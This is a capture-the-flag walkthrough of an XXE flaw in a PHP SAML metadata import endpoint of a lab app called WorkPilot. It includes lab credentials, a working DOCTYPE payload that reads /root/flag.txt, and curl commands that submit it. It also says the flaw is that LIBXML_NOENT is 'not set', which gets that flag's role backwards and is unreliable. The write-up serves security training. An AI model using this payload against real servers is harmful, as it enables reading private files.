WorkPilot — XXE via SSO Metadata Import
WorkPilot — XXE via SSO Metadata Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: external_entity_injection, in_band_exfiltration, saml_metadata_import_abuse, xxe_file_read
Summary
Walkthrough of the CUSTOM Web WorkPilot — XXE via SSO Metadata Import. Task: PHP team collaboration platform with SAML SSO metadata import that parses user-supplied XML without disabling external entities. Solution: Inject DOCTYPE with SYSTEM entity pointing to file:///r
Description
WorkPilot is a team collaboration dashboard by Aether Solutions that helps organizations manage projects, monitor productivity metrics, and streamline workflows. The platform recently introduced enterprise Single Sign-On (SSO) integration, allowing organizations to configure SAML-based authentication with their identity providers. Administrators and users can import identity provider metadata to set up SSO connections through the workspace settings. Your goal is to find and exploit a vulnerability in the application that allows you to read sensitive files from the server.
English summary: PHP/nginx web application with a SAML SSO metadata import feature. The import endpoint parses user-supplied XML without disabling external entity resolution, enabling XXE to read arbitrary files from the server. The goal is to read /root/flag.txt.
Analysis
Target stack: PHP 8.2.26 / nginx 1.25.5
Credentials: user@test.com / password123
After logging in, the application provides a workspace dashboard with project management features. The SSO configuration page at /settings/sso allows importing identity provider metadata in XML format.
Key findings:
-
SAML Metadata Import Endpoint:
POST /api/sso/import-metadataacceptsapplication/x-www-form-urlencodedwith ametadataparameter containing URL-encoded XML. Requires an authenticated session (PHPSESSID cookie). -
XML Parsing with Entity Resolution: The PHP backend parses the submitted SAML metadata XML and extracts fields (
entity_id,name,sso_url,certificate) into a JSON response. Critically, the XML parser does not disable external entity loading —LIBXML_NOENTis not set, orlibxml_disable_entity_loader()is not called. -
In-Band Exfiltration: Parsed values from the XML are reflected directly in the JSON response. The
entityIDattribute of the<EntityDescriptor>element maps to theentity_idfield, providing a clean in-band channel for exfiltrating file contents. -
Decoy Flags: HTML source contained
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}— honeypots for automated scanners, correctly ignored.
Solution
Step 1: Authenticate and obtain session cookie
bash read-only • copy allowedURL="https://1bbf76d2-85e8-4a60-9ab2-7272b2845f88.labs.hackadvisor.io" curl -sv -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123" # Returns 302 redirect with Set-Cookie: PHPSESSID=h6slbffb7ce59t1rncdpshptnt
Step 2: Craft XXE payload in SAML metadata format
The payload declares a DOCTYPE with an external entity xxe pointing to file:///root/flag.txt. The entity reference &xxe; is placed in the entityID attribute, which the server extracts and returns in the JSON response:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE EntityDescriptor [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <EntityDescriptor entityID="&xxe;"> <IDPSSODescriptor> <SingleSignOnService Location="https://idp.example.com/sso" /> </IDPSSODescriptor> </EntityDescriptor>
Step 3: Submit the payload
bash read-only • copy allowedPAYLOAD='<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE EntityDescriptor [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <EntityDescriptor entityID="&xxe;"> <IDPSSODescriptor> <SingleSignOnService Location="https://idp.example.com/sso" /> </IDPSSODescriptor> </EntityDescriptor>' curl -s -b "PHPSESSID=h6slbffb7ce59t1rncdpshptnt" \ -X POST "$URL/api/sso/import-metadata" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "metadata=$PAYLOAD"
Step 4: Flag returned in JSON response
json read-only • copy allowed{ "success": true, "provider": { "entity_id": "FLAG{REDACTED}\n", "name": "Unknown Provider", "sso_url": "https://idp.example.com/sso", "certificate": "Not provided" } }
The file contents of /root/flag.txt were resolved by the PHP XML parser and returned directly in the entity_id field.
Key Takeaways / Lessons
- Mastering external_entity_injection, in_band_exfiltration, saml_metadata_import_abuse, xxe_file_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • WorkPilot — XXE via SSO Metadata Import • Difficulty: Easy